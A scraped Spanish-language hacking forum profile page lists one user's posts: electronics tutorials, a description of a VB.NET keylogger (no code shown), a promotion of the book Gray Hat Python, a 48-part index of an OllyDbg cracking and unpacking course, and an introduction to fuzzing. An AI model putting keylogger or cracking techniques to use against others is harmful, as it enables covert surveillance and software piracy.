Buenas a todos, hace mucho que no pasaba por aca asique decidi dar un vistado a ver como andan las cosas, me llamo dracko.rx soy del viejo staff de underc0de.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#2
Galería / Firma Underc0de
Mayo 05, 2013, 11:02:17 PM
Bueno hoy en mi tiempo libre hice una firma, si bien es bastante simple, llevo su tiempito hacerla. Espero que les guste.
#3
Galería / Wallpaper para Underc0de
Abril 25, 2013, 01:54:29 PM
Llevo tiempo hacerlo, espero que les guste y sino espero criticas constructivas. Saludos
#4
C# - VB.NET / Keylogger Visual Basic .NET
Septiembre 28, 2012, 12:37:25 PM
Este recoje un gran variedad de teclas y obtiene el nombre de la ventana donde se esta escribiendo para mayor informacion y obtiene tambien clicks del mouse solo del boton Izquierdo.
Necesita un Timer de intervalo con 5 , puede ser menos pero yo lo probe con ese.
Este codigo fue probado con la versión Visual Studio 2005 Libre de errores y con un solo warning pero funciona sin problemas.
Necesita un Timer de intervalo con 5 , puede ser menos pero yo lo probe con ese.
Este codigo fue probado con la versión Visual Studio 2005 Libre de errores y con un solo warning pero funciona sin problemas.
#5
Electrónica y Robótica / Leyes de Kirchhoff
Septiembre 22, 2012, 05:01:38 PM
En esta ocasión hablaremos de dos leyes muy útiles en el análisis de circuitos. Estas leyes són: ley de nodos o de las corrientes y ley de mallas o de las tensiones.
Primera ley de Kirchhoff o ley de las corrientes
La suma algebraica de todas las intensidades que llegan a un nodo es igual a la suma algebraica de todas las intensidades que se alejan del nodo.
Fijaros en la figura de arriba donde tenemos I1,I2 que llegan al nodo y I3,I4 que se alejan del No tienes permitido ver los links. Registrarse o Entrar a mi cuenta adoptamos que es positiva(+) las corrientes que llegan y negativas(-) las corrientes que se alejan, se puede escribir esta ecuación.
I1+I2-I3-I4=0
Donde se deduce que:la suma algebraica de todas las intensidades que concurren en un nodo es igual a cero.
Segunda ley de Kirchhoff o ley de las tensiones
En toda malla o circuito cerrado,la suma algebraica de todas las fem debe ser igual a la suma algebraica de la caida de tensión en todas las resistencias intercaladas a lo largo de aquella malla o circuito cerrado.
En el circuito de arriba tenemos que V3=V1+V2
Recordemos la diferencia que hay entre fem y caida de tensión o ddp (V=RxI).
La fem es producida en una fuente de tensión y proviene de la generación de electricidad por cualquier No tienes permitido ver los links. Registrarse o Entrar a mi cuenta caida de tensión o voltaje es generada a través de una resistencia y viene dada por RxI.Las caidas de voltaje son negativas donde se deduce que:la suma algebraica de las tensiones a lo largo de una malla o contorno es cero.
Saludos.
Primera ley de Kirchhoff o ley de las corrientes
La suma algebraica de todas las intensidades que llegan a un nodo es igual a la suma algebraica de todas las intensidades que se alejan del nodo.
Fijaros en la figura de arriba donde tenemos I1,I2 que llegan al nodo y I3,I4 que se alejan del No tienes permitido ver los links. Registrarse o Entrar a mi cuenta adoptamos que es positiva(+) las corrientes que llegan y negativas(-) las corrientes que se alejan, se puede escribir esta ecuación.
I1+I2-I3-I4=0
Donde se deduce que:la suma algebraica de todas las intensidades que concurren en un nodo es igual a cero.
Segunda ley de Kirchhoff o ley de las tensiones
En toda malla o circuito cerrado,la suma algebraica de todas las fem debe ser igual a la suma algebraica de la caida de tensión en todas las resistencias intercaladas a lo largo de aquella malla o circuito cerrado.
En el circuito de arriba tenemos que V3=V1+V2
Recordemos la diferencia que hay entre fem y caida de tensión o ddp (V=RxI).
La fem es producida en una fuente de tensión y proviene de la generación de electricidad por cualquier No tienes permitido ver los links. Registrarse o Entrar a mi cuenta caida de tensión o voltaje es generada a través de una resistencia y viene dada por RxI.Las caidas de voltaje son negativas donde se deduce que:la suma algebraica de las tensiones a lo largo de una malla o contorno es cero.
Saludos.
#6
Electrónica y Robótica / Tester de continuidad
Septiembre 22, 2012, 04:55:39 PM
En esta publicación les presento un interesante proyecto muy fácil de hacer y práctico, que nos permitira comprobar continuidad en pistas de circuitos y cables, por decir alguna de las utilidades que le podes dar al instrumento.
Esquema eléctrico
Lista de componentes
Resistencias (todas de 1/4 w)
1 10k ohmios
2 330 "
1 1k "
1 100k "
1 22k "
Semiconductores
1 555 (timer)
1 hcf4093b (NAND de dos entradas schmitt trigger)
1 led 5mm verde
1 led 5mm rojo
Condensadores
2 10nf
Varios
1 Buzzer polarizado
2 pinzas cocodrilo y cable rojo negro
1 Conector para pila de 9v
Funcionamiento del circuito
Tenemos un sistema de visualización formado por dos led, uno rojo y el otro verde. Estos dos led's estan controlados por un flip-flop r-s hecho con compuertas NAND, estas puertas esta integradas en el HEF4093B.
Luego el timer 555 esta configurado como astable que genera una frecuencia audible cuando el material en prueba es conductor.
Entremos un poco mas en detalle del funcionamiento del circuito. Fijaros en el esquema que hay dos resistencia en serie formando un divisor de tensión resistivo por R3 y R4, en paralelo con R4 hay un punto abierto que es donde se conectara el objeto para saber si es aislante o conductor.
Si es aislante la tensión Vcc se reparte entre R3 y R4, pero como la resistencia R4 es mucho mayor que R3, casi toda la tensión recae en R4, esto se traduce en un nivel lógico(1) que es aplicado al flip-flop r-s formado por las compuertas NAND, esto hace que se mantenga en estado reset y activa el led rojo, el led verde permanece apagado. Por otro lado el timer 555 esta desactivado ya que la patilla 1 que debe estar a tierra esta a un potencial positivo y permanece apagado. En resumen, en esta condición el led rojo permanece encendido y no hay sonido, indicando que el material es aislante.
En la condición de continuidad cuando cerramos el circuito , el punto de unión de la resistencia R3 y R4 queda a tierra, esto se traduce en un nivel lógico (0) que es aplicado al flip-flop r-s haciendolo bascular de su estado reset a set , el led verde se activa y al mismo tiempo pone a tierra al terminal 1 del timer 555, produciendo un sonido en el buzzer. En resumen, en esta condición el led verde permanece encendido y produciendo un sonido indicando que hay continuidad.
Espero que les sirva, Saludos.
Esquema eléctrico
Lista de componentes
Resistencias (todas de 1/4 w)
1 10k ohmios
2 330 "
1 1k "
1 100k "
1 22k "
Semiconductores
1 555 (timer)
1 hcf4093b (NAND de dos entradas schmitt trigger)
1 led 5mm verde
1 led 5mm rojo
Condensadores
2 10nf
Varios
1 Buzzer polarizado
2 pinzas cocodrilo y cable rojo negro
1 Conector para pila de 9v
Funcionamiento del circuito
Tenemos un sistema de visualización formado por dos led, uno rojo y el otro verde. Estos dos led's estan controlados por un flip-flop r-s hecho con compuertas NAND, estas puertas esta integradas en el HEF4093B.
Luego el timer 555 esta configurado como astable que genera una frecuencia audible cuando el material en prueba es conductor.
Entremos un poco mas en detalle del funcionamiento del circuito. Fijaros en el esquema que hay dos resistencia en serie formando un divisor de tensión resistivo por R3 y R4, en paralelo con R4 hay un punto abierto que es donde se conectara el objeto para saber si es aislante o conductor.
Si es aislante la tensión Vcc se reparte entre R3 y R4, pero como la resistencia R4 es mucho mayor que R3, casi toda la tensión recae en R4, esto se traduce en un nivel lógico(1) que es aplicado al flip-flop r-s formado por las compuertas NAND, esto hace que se mantenga en estado reset y activa el led rojo, el led verde permanece apagado. Por otro lado el timer 555 esta desactivado ya que la patilla 1 que debe estar a tierra esta a un potencial positivo y permanece apagado. En resumen, en esta condición el led rojo permanece encendido y no hay sonido, indicando que el material es aislante.
En la condición de continuidad cuando cerramos el circuito , el punto de unión de la resistencia R3 y R4 queda a tierra, esto se traduce en un nivel lógico (0) que es aplicado al flip-flop r-s haciendolo bascular de su estado reset a set , el led verde se activa y al mismo tiempo pone a tierra al terminal 1 del timer 555, produciendo un sonido en el buzzer. En resumen, en esta condición el led verde permanece encendido y produciendo un sonido indicando que hay continuidad.
Espero que les sirva, Saludos.
#7
Electrónica y Robótica / Sonda lógica con display 7 segmentos TTL
Septiembre 22, 2012, 04:49:59 PM
Sonda lógica con display 7 segmentos TTL
La sonda lógica es un instrumento de suma utilidad cuando hay que analizar circuitos digitales.Como la mayoría de nosotros ya saben, los circuitos digitales solo trabajan con dos estados o niveles de tensión. Si hablamos de lógica TTL (lógica transistor-transistor) la tensión booleana para el 1 lógico es de +5v y para el 0 lógico es 0v, esta sonda es para analizar circuitos del tipo TTL.
Este es el diagrama eléctricos de la sonda.
Lista de materiales
1 ic7404
1 Display 7 segmentos de ánodo común
1 transistor NPN 2N3904
1 Resistencia 1k
1 Resistencia 10k
1 Resistencia de 470
5 Resistencias de 220
1 Base ic 14 pines
2 Pinzas de cocodrilo roja y negra
1 Punta
cable rojo y negro
Para el chasis del circuito yo he utilizado una funda de plástico de CD.
Funcionamiento del circuito.
El circuito esta dividido en dos partes marcadas como H y L. La etapa H indica una condición alta (1 lógico), la forman las resistencia R2,R3 y R8, el transistor Q1 y los inversores D y E del circuito IC 7404.
La etapa L indica una condición baja (0 lógico), la forman las resistencias R1,R4,R5,R6 y R7 y los inversores A,B y C del circuito IC 7404.
Los inversores B y C forman un buffer de corriente. Su salida controla los segmentos a,b,g y f del display. Cuando este punto es bajo los leds de estos segmentos se iluminan, mostrando un cero en el display. En resumen, cuando se aplica un bajo (0 voltios) a la entrada el inversor A recibe un bajo a través de R1, entrega un alto al buffer C,D y este suministra un bajo a los segmentos a,b,g y f a través de R4,R5,R6 y R7.
Los inversores D y E forman también un buffer de corriente, su salida controla el segmento e del display. Cuando ese punto es bajo, por efecto de un alto en la entrada, el led de este segmento se ilumina, mostrando un 1 en el display. En resumen, cuando se aplica un alto en la entrada el transistor q1 recibe un alto en su base a través de la resistencia R2 y conduce, aplicando un alto a la entrada del buffer C,D. Este último suministrar un bajo al segmento e del display.
Cuando se aplica un tren de impulsos a la entrada, se suceden alternativamente los dos casos expuestos, iluminando los segmentos a,b,e,f y g y el display muestra la letra P, que significa pulsos.
Como pueden apreciar es un montaje fácil, práctico y muy útil!!!
Saludos.
La sonda lógica es un instrumento de suma utilidad cuando hay que analizar circuitos digitales.Como la mayoría de nosotros ya saben, los circuitos digitales solo trabajan con dos estados o niveles de tensión. Si hablamos de lógica TTL (lógica transistor-transistor) la tensión booleana para el 1 lógico es de +5v y para el 0 lógico es 0v, esta sonda es para analizar circuitos del tipo TTL.
Este es el diagrama eléctricos de la sonda.
Lista de materiales
1 ic7404
1 Display 7 segmentos de ánodo común
1 transistor NPN 2N3904
1 Resistencia 1k
1 Resistencia 10k
1 Resistencia de 470
5 Resistencias de 220
1 Base ic 14 pines
2 Pinzas de cocodrilo roja y negra
1 Punta
cable rojo y negro
Para el chasis del circuito yo he utilizado una funda de plástico de CD.
Funcionamiento del circuito.
El circuito esta dividido en dos partes marcadas como H y L. La etapa H indica una condición alta (1 lógico), la forman las resistencia R2,R3 y R8, el transistor Q1 y los inversores D y E del circuito IC 7404.
La etapa L indica una condición baja (0 lógico), la forman las resistencias R1,R4,R5,R6 y R7 y los inversores A,B y C del circuito IC 7404.
Los inversores B y C forman un buffer de corriente. Su salida controla los segmentos a,b,g y f del display. Cuando este punto es bajo los leds de estos segmentos se iluminan, mostrando un cero en el display. En resumen, cuando se aplica un bajo (0 voltios) a la entrada el inversor A recibe un bajo a través de R1, entrega un alto al buffer C,D y este suministra un bajo a los segmentos a,b,g y f a través de R4,R5,R6 y R7.
Los inversores D y E forman también un buffer de corriente, su salida controla el segmento e del display. Cuando ese punto es bajo, por efecto de un alto en la entrada, el led de este segmento se ilumina, mostrando un 1 en el display. En resumen, cuando se aplica un alto en la entrada el transistor q1 recibe un alto en su base a través de la resistencia R2 y conduce, aplicando un alto a la entrada del buffer C,D. Este último suministrar un bajo al segmento e del display.
Cuando se aplica un tren de impulsos a la entrada, se suceden alternativamente los dos casos expuestos, iluminando los segmentos a,b,e,f y g y el display muestra la letra P, que significa pulsos.
Como pueden apreciar es un montaje fácil, práctico y muy útil!!!
Saludos.
#8
Ingeniería Inversa / Gray Hat Python: Programación en Python para hacking e ingeniería inversa
Junio 28, 2012, 05:55:48 PMPython se está convirtiendo en el lenguaje de programación elegido por muchos que se dedican al hacking, a la ingeniería inversa y a probar software. La razón principal es que es fácil y rápido de escribir, soporta bajo nivel y tiene bibliotecas que nos hacen felices.
Ya no tendremos que buscar siempre en foros y manuales, Gray Hat Python muestra el uso de Python para una amplia variedad de tareas de hacking. Este libro explica los conceptos detrás de las herramientas de hacking y las técnicas con depuradores, troyanos, fuzzers y emuladores. Pero el autor, Justin Seitz, va más allá de la teoría mostrando cómo aprovechar las herramientas existentes de seguridad basadas en Python - y cómo construir las tuyas propias cuando lo necesites.
Leyendo este libro aprenderas a:
* Automatizar las tediosas tareas de ingeniería inversa y seguridad
* Diseñar y programar tu propio depurador
* Fuzzear drivers de Windows y a crear potentes fuzzers desde el principio
* Divertirte con la inyección de código y librerías, técnicas de soft y hard hooking y otros trucos con software
* Esnifar tráfico seguro de sesión web cifrada
* Usar PyDBG, Immunity Debugger, Sulley, IDAPython, PyEMU y más
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Espero que les sirva y les guste.
Saludos dracko.rx
#9
C / C++ / Tutorial de iniciación al lenguaje C
Junio 28, 2012, 05:26:17 PMLes dejo un tutorial sobre el lenguaje C. Espero que les guste.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#10
Ingeniería Inversa / Introduccion al cracking con ollydbg desde cero
Junio 27, 2012, 07:29:47 PM
Tutorial completo sobre cracking con ollydbg.
Contiene 48 partes, los temas son los siguientes:
PARTE 001 - CONOCIENDO A OLLYDBG - INSTALACION
PARTE 002 - SISTEMAS NUMERICOS - NUMEROS POSITIVOS - NEGATIVOS - CARACTERES ASCII - QUE ES EL STACK
PARTE 003 - REGISTROS Y FLAGS
PARTE 004 - INSTRUCCIONES DE ASSEMBLER - NOP, PUSH, POP, PUSHAD, POPAD, MOV, MOVSX, MOVZX, LEA, XCHG,
PARTE 005 - INSTRUCCIONES MATEMATICAS - INC, DEC, ADD, ADC, SUB, SBB, MUL, IMUL, DIV, IDIV, XADD, NEG
INSTRUCCIONES LOGICAS - AND, XOR, OR, NOT -
PARTE 006 - INSTRUCCIONES - COMPARACIONES Y SALTOS CONDICIONALES
PARTE 007 - INSTRUCCIONES - CALL Y RET
PARTE 008 - INSTRUCCIONES PARA LOOPS O CICLOS (BUCLES)
PARTE 009 - PRIMERA APROXIMACION AL CRACKING - CRACKME DE CRUEHEAD
PARTE 010 - BREAKPOINTS - BP COMUNES, ON MEMORY
PARTE 011 - BREAKPOINTS - HARDWARE BREAKPOINTS - BP CONDICIONALES
PARTE 012 - LOS MENSAJES DE WINDOWS - COLOCANDO BP EN LOS MENSAJES DE WINDOWS
PARTE 013 - PEZCANDO Y REVIRTIENDO SERIALES
PARTE 014 - PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 015 - PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 016 - PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 017 - PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS - BUSCANDO EL SERIAL EN LA MEMORIA (CUANDO NO TENEMOS BOTON CHECK)
PARTE 018 - PEZCANDO Y REVIRTIENDO SERIALES - BUSCANDO EL SERIAL EN LA MEMORIA (CUANDO NO TENEMOS BOTON CHECK)
PARTE 019 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - api: IsDebuggerPresent -
PARTE 020 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - POR NOMBRE DEL PROCESO - api: EnumProcesses
PARTE 021 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - POR NOMBRE DEL PROCESO - POR NOMBRE O CLASE DE LA VENTANA - api: CreateToolhelp32Snapshot, Process32First, Process32Next, FindWindowA
PARTE 022 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - apis: UnhandeldExceptionFilter - ZwQueryInformationProcess
PARTE 023 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - ProcessHeapFlag y NTGlobalFlag
PARTE 024 - PROTECCIONES ANTIDEBUGGER - Resolviendo el Antisocial de la parte 23
PARTE 025 - EXCEPCIONES
PARTE 026 - CRACKEANDO VISUAL BASIC - NAGS
PARTE 027 - CRACKEANDO VISUAL BASIC - NAGS, METODO DEL 4C
PARTE 028 - CRACKEANDO VISUAL BASIC - INJERTAR EN DLL (MODIFICARLA)
PARTE 029 - CRACKEANDO VISUAL BASIC - P-CODE
PARTE 030 - CRACKEANDO VISUAL BASIC - P-CODE 2DA PARTE
PARTE 031 - UNPACKING - NICIONES BASICAS
PARTE 032 - UNPACKING - BUSCAR OPCODES, BUSCADOR DE OEP DE OLLY, METODO PUSHADD, METODO EXCEPCIONES, METODO API MUY USADA,
METO PRIMERA API EJECUTADA
PARTE 033 - UNPACKING - QUE ES IAT Y COMO REPARARLA
PARTE 034 - UNPACKING - CON AYUDA DE PE TOOLS, IMPREC
PARTE 035 - UNPACKING - CON OLLYDUMP, IMPREC (EJEMPLO ASPACK)
PARTE 036 - UNPACKING - CON OLLYDUMP, IMPREC (OTRO EJERCICIO PRACTICO)
PARTE 037 - UNPACKING - REPARAR ENTRADAS REDIRECCIONADAS
PARTE 038 - UNPACKING - REPARAR ENTRADAS REDIRECCIONADAS
PARTE 039 - STOLEN BYTES Y SCRIPTS
PARTE 040 - SCRIPTS (DESEMPACADO DEL PELOCK)
PARTE 041 - SCRIPTS (CONT. DESEMPACADO DEL PELOCK)
PARTE 042 - UNPACKING - STOLEN BYTES (ACPROTECT 1.09)
PARTE 043 - UNPACKING - REPARAR STOLEN BYTES (ACPROTECT 1.09)
PARTE 044 - UNPACKING - REPARAR IAT - SCRIPTS (ACPROTECT 1.09)
PARTE 045 - UNPACKING - REPARAR IAT - DUMPEADO (ACPROTECT 1.09)
PARTE 046 - UNPACKING - FATMIKE
PARTE 047 - UNPACKING - FATMIKE (2DA PARTE)
PARTE 048 - UNPACKING - PESPIN 1.304
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Fuente: Ricardo Navaja
Contiene 48 partes, los temas son los siguientes:
PARTE 001 - CONOCIENDO A OLLYDBG - INSTALACION
PARTE 002 - SISTEMAS NUMERICOS - NUMEROS POSITIVOS - NEGATIVOS - CARACTERES ASCII - QUE ES EL STACK
PARTE 003 - REGISTROS Y FLAGS
PARTE 004 - INSTRUCCIONES DE ASSEMBLER - NOP, PUSH, POP, PUSHAD, POPAD, MOV, MOVSX, MOVZX, LEA, XCHG,
PARTE 005 - INSTRUCCIONES MATEMATICAS - INC, DEC, ADD, ADC, SUB, SBB, MUL, IMUL, DIV, IDIV, XADD, NEG
INSTRUCCIONES LOGICAS - AND, XOR, OR, NOT -
PARTE 006 - INSTRUCCIONES - COMPARACIONES Y SALTOS CONDICIONALES
PARTE 007 - INSTRUCCIONES - CALL Y RET
PARTE 008 - INSTRUCCIONES PARA LOOPS O CICLOS (BUCLES)
PARTE 009 - PRIMERA APROXIMACION AL CRACKING - CRACKME DE CRUEHEAD
PARTE 010 - BREAKPOINTS - BP COMUNES, ON MEMORY
PARTE 011 - BREAKPOINTS - HARDWARE BREAKPOINTS - BP CONDICIONALES
PARTE 012 - LOS MENSAJES DE WINDOWS - COLOCANDO BP EN LOS MENSAJES DE WINDOWS
PARTE 013 - PEZCANDO Y REVIRTIENDO SERIALES
PARTE 014 - PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 015 - PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 016 - PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 017 - PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS - BUSCANDO EL SERIAL EN LA MEMORIA (CUANDO NO TENEMOS BOTON CHECK)
PARTE 018 - PEZCANDO Y REVIRTIENDO SERIALES - BUSCANDO EL SERIAL EN LA MEMORIA (CUANDO NO TENEMOS BOTON CHECK)
PARTE 019 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - api: IsDebuggerPresent -
PARTE 020 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - POR NOMBRE DEL PROCESO - api: EnumProcesses
PARTE 021 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - POR NOMBRE DEL PROCESO - POR NOMBRE O CLASE DE LA VENTANA - api: CreateToolhelp32Snapshot, Process32First, Process32Next, FindWindowA
PARTE 022 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - apis: UnhandeldExceptionFilter - ZwQueryInformationProcess
PARTE 023 - PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - ProcessHeapFlag y NTGlobalFlag
PARTE 024 - PROTECCIONES ANTIDEBUGGER - Resolviendo el Antisocial de la parte 23
PARTE 025 - EXCEPCIONES
PARTE 026 - CRACKEANDO VISUAL BASIC - NAGS
PARTE 027 - CRACKEANDO VISUAL BASIC - NAGS, METODO DEL 4C
PARTE 028 - CRACKEANDO VISUAL BASIC - INJERTAR EN DLL (MODIFICARLA)
PARTE 029 - CRACKEANDO VISUAL BASIC - P-CODE
PARTE 030 - CRACKEANDO VISUAL BASIC - P-CODE 2DA PARTE
PARTE 031 - UNPACKING - NICIONES BASICAS
PARTE 032 - UNPACKING - BUSCAR OPCODES, BUSCADOR DE OEP DE OLLY, METODO PUSHADD, METODO EXCEPCIONES, METODO API MUY USADA,
METO PRIMERA API EJECUTADA
PARTE 033 - UNPACKING - QUE ES IAT Y COMO REPARARLA
PARTE 034 - UNPACKING - CON AYUDA DE PE TOOLS, IMPREC
PARTE 035 - UNPACKING - CON OLLYDUMP, IMPREC (EJEMPLO ASPACK)
PARTE 036 - UNPACKING - CON OLLYDUMP, IMPREC (OTRO EJERCICIO PRACTICO)
PARTE 037 - UNPACKING - REPARAR ENTRADAS REDIRECCIONADAS
PARTE 038 - UNPACKING - REPARAR ENTRADAS REDIRECCIONADAS
PARTE 039 - STOLEN BYTES Y SCRIPTS
PARTE 040 - SCRIPTS (DESEMPACADO DEL PELOCK)
PARTE 041 - SCRIPTS (CONT. DESEMPACADO DEL PELOCK)
PARTE 042 - UNPACKING - STOLEN BYTES (ACPROTECT 1.09)
PARTE 043 - UNPACKING - REPARAR STOLEN BYTES (ACPROTECT 1.09)
PARTE 044 - UNPACKING - REPARAR IAT - SCRIPTS (ACPROTECT 1.09)
PARTE 045 - UNPACKING - REPARAR IAT - DUMPEADO (ACPROTECT 1.09)
PARTE 046 - UNPACKING - FATMIKE
PARTE 047 - UNPACKING - FATMIKE (2DA PARTE)
PARTE 048 - UNPACKING - PESPIN 1.304
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Fuente: Ricardo Navaja
#11
Dudas y pedidos generales / [SOLUCIONADO] Misteriosa página 8-3-11
Julio 26, 2011, 07:19:34 PM
Bueno ayer hablando de varios temas con mi novia me conto que habia visto en la televicion una noticia sobre esta mistoriosa pagina de internet que salio, llamada No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta .. Busque por muchos lados en la Red pero nadie supo decirme que es concretamente y para que sirve..
Una de las curiosidades que vi en la pagina es que Copyfight en vez de Copyright ..
La verdad que me intriga mucho saber que es y para que esta esa web.. Si Alguien sabe del tema me gustaria que lo comenten.
Saludos, Dracko.rx
Una de las curiosidades que vi en la pagina es que Copyfight en vez de Copyright ..
La verdad que me intriga mucho saber que es y para que esta esa web.. Si Alguien sabe del tema me gustaria que lo comenten.
Saludos, Dracko.rx
#12
Bugs y Exploits / ¿Qué son los Fuzzers?
Febrero 25, 2010, 11:55:40 AM ¿Fuzzing, Fuzzers que es todo esto?
[idea] Para comenzar, diremos que se conoce como "Fuzzing" a las diferentes técnicas de software automatizadas, capaces de generar y enviar datos secuenciales o aleatorios a una o varias áreas o puntos de una aplicación, con el objeto de detectar defectos o vulnerabilidades existentes en el software auditado.
[idea] Las herramientas con capacidad de "Fuzzing", a menudo son conocidas como "Fuzzers", y dependiendo de la implementación que cada una de estas herramientas haga de las técnicas de "Fuzzing", es probable que existan tipos que se ajusten mejor a cada una de las diferentes necesidades del researcher o profesional a cargo del testing (Protocolos / Networking, Application / WebApplication, etc.).
[idea] Si bien es cierto que el concepto de "Fuzzing" es de ámbito general de acuerdo a lo mencionado, quizás no sea mala idea el que conozcas como funciona cada una de las herramientas a tu alcance, antes de decidir su tilización en alguno de tus proyectos personales.
[idea] Pero imagino que probablemente exista quien aún no haya entendido a lo que me estoy refiriendo, por tanto me permitiré tomar el siguiente ejemplo: Supongamos que necesitamos conocer si una aplicación en particular posee algún tipo de Buffer Overflow, a fin de detectar este tipo de situación, un tester sencillamente podría generar datos de distintos tamaños y enviar estos a uno de los puntos de entrada existentes en la aplicación, con el objeto de observar su comportamiento ante estas pruebas o mejor dicho como estos requerimientos son manejados. Si el programa a testear falla en tal menester, esto significara dos cosas: que hay defectos que corregir, y que probablemente sea posible explotar la falla.
[idea] De acuerdo a lo mencionado hasta aquí, podemos inferir que el principal uso del Fuzzing, es el de testear software (servicios, protocolos, aplicaciones, etc.) con el objeto de encontrar defectos de desarrollo o implementación. Este testing no solo puede (y debe) ser llevado a cabo como parte del ciclo de vida de un desarrollo, sino que también comprende un método excelente de testeo a ser aplicado como parte de pentest del tipo "BlackBox". Debido a su relativa sencillez, estas técnicas a menudo poseen una relación costo beneficio altamente efectiva. A pesar de esto, el Fuzzing no reemplaza el testing manual o los métodos tradicionales de testeo de software y QA, este solo podrá proveernos de una serie de pruebas aleatorias que podrían mostrarnos solo una parte del
problema.
Fuzzing de Protocolos
[idea] El "Fuzzing" de protocolos, no es muy diferente al "Fuzzing" de aplicación. Cada protocolo posee su propio set de parámetros y una estructura que a menudo puede ser testeada. Los "Fuzzers" basan parte de su tarea en la ventaja que les brinda el conocer exactamente como "debería" funcionar determinado protocolo basándose en los RFCs relacionados a tal o cual de ellos. De este modo, el Fuzzer sabe que debe esperar de cada una de las pruebas a las que someterá al protocolo a testear (o mejor dicho su implementación) y podrá alertar al tester cuando encuentre una respuesta que no ha podido ser manejada o ha sido manejada erróneamente.
[idea] Pero ¿como hace realmente un Fuzzer para llevar a cabo su tarea? a fin de ejemplificar su operatoria, me basaré de un ejemplo que oportunamente publicara Sacha Faust, de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en un excelente paper que aprovecho a recomendar desde aquí, el cual se denomina "Web Application Testing with SPI Fuzzer".
[idea] Cuando se trabaja con fuzzing sobre HTTP, generalmente se intenta testear al menos cada uno de los siguientes aspectos del protocolo o su implementación:
[idea] Para que quede un tanto mas claro, la idea detrás del fuzzing de protocolo http en este ejemplo, es básicamente la de parsear cada uno de los aspectos que componen el protocolo y testear mediante la generación de determinados requerimientos, cada uno de estos componentes en forma individual, a fin de identificar el modo en que la implementación maneja las excepciones o inclusive la alteración de tráfico real.
[idea] El request HTTP citado a continuación, corresponde a un requerimiento real hecho por un browser a un sitio web determinado. Las partes dispuestas en color rojo, representan algunos de los datos/campos que tal como mencionáramos en el párrafo anterior podrían ser sometidos a "Fuzzing" en forma individual, a fin de observar su comportamiento:
El primer Acercamiento: Fuzzer 1.1
[idea] Bien, ahora que conoces conceptualmente alguno de los aspectos más importantes en torno al Fuzzing, creo que es hora de dar nuestros primeros pasos en la utilización de alguna herramienta que implemente este tipo de técnicas.
[idea] Una rápida búsqueda en Google, probablemente arroje una serie de páginas con links a algunas de las herramientas más populares. Algunos buenos ejemplos de estas, sin lugar a dudas sean: SPIKE 2.9 de Immunitysec, mielietools 1.0 de Sensepost, SPI Fuzzer de SPI Dynamics y Fuzzer 1.1 de Sergio "Shadown" Alvarez.
[idea] A los efectos de ilustrar este artículo, he decidido utilizar mi preferido: Fuzzer 1.1 de Sergio "Shadown" Alvarez. Los motivos de esta elección son varios. En primer lugar, su código se encuentra disponible y se distribuye bajo GPL. En segundo lugar, es pequeño, sencillo, potente, rápido y esta escrito en Python .
[idea] Antes de comenzar vamos a asegurarnos de que has obtenido lo necesario como para tener Fuzzer 1.1 funcionando en tu equipo de pruebas:
Python 2.2:Puesto que Fuzzer 1.1, se encuentra desarrollado en Python, la instalación de este entorno resulta imprescindible
pyOpenSSL:A fin de manejar en forma correcta el tráfico SSL, Fuzzer 1.1 requiere tener instaladas las librerías provistas por este wrapper de nombre pyOpenSSL . Su instalación es sumamente sencilla y no deberías tener problemas para tener funcionando esta en segundos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Fuzzer 1.1
Descargar Fuzzer 1.1 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[idea] Fuzzer 1.1 es una sencilla y potente herramienta de "fuzzing" desarrollada por Sergio "Shadown" Alvarez . Esta se entrega con los protocolos FTP, SMTP y POP3 declarados por defecto y listos para usar, aunque debido a su concepción modular, el agregado de nuevos protocolos, debería resultar en una tarea sencilla pro medio de la edición del archivo de configuración "protocols.py". Al descargar el tar.gz, no tendrás más que disponer de un directorio (fuzzer-1.1 por defecto) donde descomprimir sus archivos y comenzar a disfrutar de sus bondades.
[idea] Ok, si todo ha salido bien, tu sistema contará a partir de este momento, con una instalación de Python, las rutinas SSL requeridas por la aplicación, y Fuzzer 1.1 lista para ser ejecutada. Para constatar que todo este funcionando, sencillamente abriremos una ventana de comandos (Ejecutar-->CMD.exe-->Enter), nos situaremos sobre el directorio donde hemos instalado Fuzzer 1.1, y ejecutaremos la siguiente línea:
Luego de dar entrada al comando anterior, deberías estar viendo la ayuda de Fuzzer 1.1 tal como se muestra en la Imagen.
